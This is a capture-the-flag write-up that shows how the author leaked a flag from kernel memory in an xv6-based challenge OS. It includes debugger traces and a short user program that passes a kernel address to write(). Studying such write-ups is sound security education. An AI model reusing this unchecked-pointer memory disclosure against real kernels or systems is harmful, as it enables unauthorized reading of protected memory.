Redpwn CTF ascent-to-kernel-land Writeup

Redpwn CTF ascent-to-kernel-land Writeup

2019, Sep 04    

It’s my first kernel exploit challenge writeup. Thank you Redpwn CTF!

Description

We have a tgz file, it is a lightweight OS. Follow the Makefile:

qemu: fs.img xv6.img
        $(QEMU) -serial mon:stdio $(QEMUOPTS)

qemu-memfs: xv6memfs.img
        $(QEMU) -drive file=xv6memfs.img,index=0,media=disk,format=raw -smp $(CPUS) -m 256

qemu-nox: fs.img xv6.img
        $(QEMU) -nographic $(QEMUOPTS)

.gdbinit: .gdbinit.tmpl
        sed "s/localhost:1234/localhost:$(GDBPORT)/" < $^ > $@

qemu-gdb: fs.img xv6.img .gdbinit
        @echo "*** Now run 'gdb'." 1>&2
        $(QEMU) -serial mon:stdio $(QEMUOPTS) -S $(QEMUGDB)

qemu-nox-gdb: fs.img xv6.img .gdbinit
        @echo "*** Now run 'gdb'." 1>&2
        $(QEMU) -nographic $(QEMUOPTS) -S $(QEMUGDB)

These qemu targets can run or debug this OS in qemu. Start qemu and attach it:

$ make qemu-nox-gdb
*** Now run 'gdb'.
qemu-system-i386 -nographic -snapshot -drive file=fs.img,index=1,me...

gdb-peda$ target remote localhost:26000

According to README, the flag in kernel memory. We can find global variable flag defined in source code(main.c:9):

#include "proc.h"
#include "x86.h"

char flag[70] = "REDACTED FROM SOURCE";

static void startothers(void);
static void mpmain(void) __attribute__((noreturn));

How to get the flag?

But, how can we access the kernel memory? Have any vulnerabilities in system call? After a while, I found the program named usertests. It will crash the system!(usertests.c:1717):

void argptest()
{
        int fd;
        fd = open("init", O_RDONLY);
        if (fd < 0) {
                printf(2, "open failed\n");
                exit();
        }
        read(fd, sbrk(0) - 1, -1); // Crash!
        close(fd);
        printf(1, "arg test passed\n");
}

The crash message:

$ ./usertests
usertests starting
unexpected trap 14 from cpu 1 eip 80104594 (cr2=0xd000)
lapicid 1: panic: trap
 801059ac 8010566f 80101a4c 80100fcc 80104b82 80104899 80105855 8010566f 0 0

Search panic: in source code, we can find the crash message printed in consol.c:

void panic(char *s)
{
        int i;
        uint pcs[10];

        cli();
        cons.locking = 0;
        // use lapiccpunum so that we can call panic from mycpu()
        cprintf("lapicid %d: panic: ", lapicid());
        cprintf(s);
        cprintf("\n");
        getcallerpcs(&s, pcs);
        for (i = 0; i < 10; i++)
                cprintf(" %p", pcs[i]);
        panicked = 1; // freeze other CPU
        for (;;)
                ;
}

Just break panic in gdb and see what’s going on!

gdb-peda$ bt
#0  0x80100390 in panic ()
#1  0x801059ac in trap ()
#2  0x8010566f in alltraps () at trapasm.S:20
#3  0x8df23e6c in ?? ()
#4  0x80101a4c in readi ()
#5  0x80100fcc in fileread ()
#6  0x80104b82 in sys_read ()
#7  0x80104899 in syscall ()
#8  0x80105855 in trap ()
#9  0x8010566f in alltraps () at trapasm.S:20
#10 0x8df23fb4 in ?? ()

It’s obvious that the read function failed because the 0xcfff is the end of the process address, we can’t write more than one byte to it. (frame #4):

[-------------------------------------code-------------------------------------]
   0x80101a42 <readi+162>:      push   DWORD PTR [ebp-0x20]
   0x80101a45 <readi+165>:      add    esi,ebx
   0x80101a47 <readi+167>:      call   0x80104550 <memmove>
=> 0x80101a4c <readi+172>:      mov    edx,DWORD PTR [ebp-0x24]
   0x80101a4f <readi+175>:      mov    DWORD PTR [esp],edx
   0x80101a52 <readi+178>:      call   0x801001e0 <brelse>
   0x80101a57 <readi+183>:      add    DWORD PTR [ebp-0x20],ebx
   0x80101a5a <readi+186>:      add    esp,0x10
[------------------------------------stack-------------------------------------]
0000| 0x8df23ec0 (0x0000cfff)
0004| 0x8df23ec4 --> 0x8010c990 --> 0x464c457f
0008| 0x8df23ec8 --> 0x200 --> 0x5d4835 ('5H]')
0012| 0x8df23ecc --> 0x80101a0f --> 0x5008ec83

The magic!

This crash give me a hint! Can I access the kernel memory directly? Yes! I can!

int main(int argc, char *argv[])
{
  write(1, 0x8010a000, 0x100);
}

In local, we can modify the Makefile, put the exploit program in.

$ ./hello
REDACTED FROM SOURCE5[>[G[P[Y[b[k[t[}[[[[[[[[[[\\\#\,\5\>\G\P\Y\b\k\t\}...

It works! But how can we do in remote?

  • The command length is limited.
  • The “>>” redirector can’t append the content to the file.
  • No any wget or nc in this OS.

Finally, (cat file; echo -n \x00) > file works for me!

Flag: flag{k3rn3l_sp4ce_is_n0t_a_h1d1ng_pl4ce_08731048730417319374198732498}

Final exploit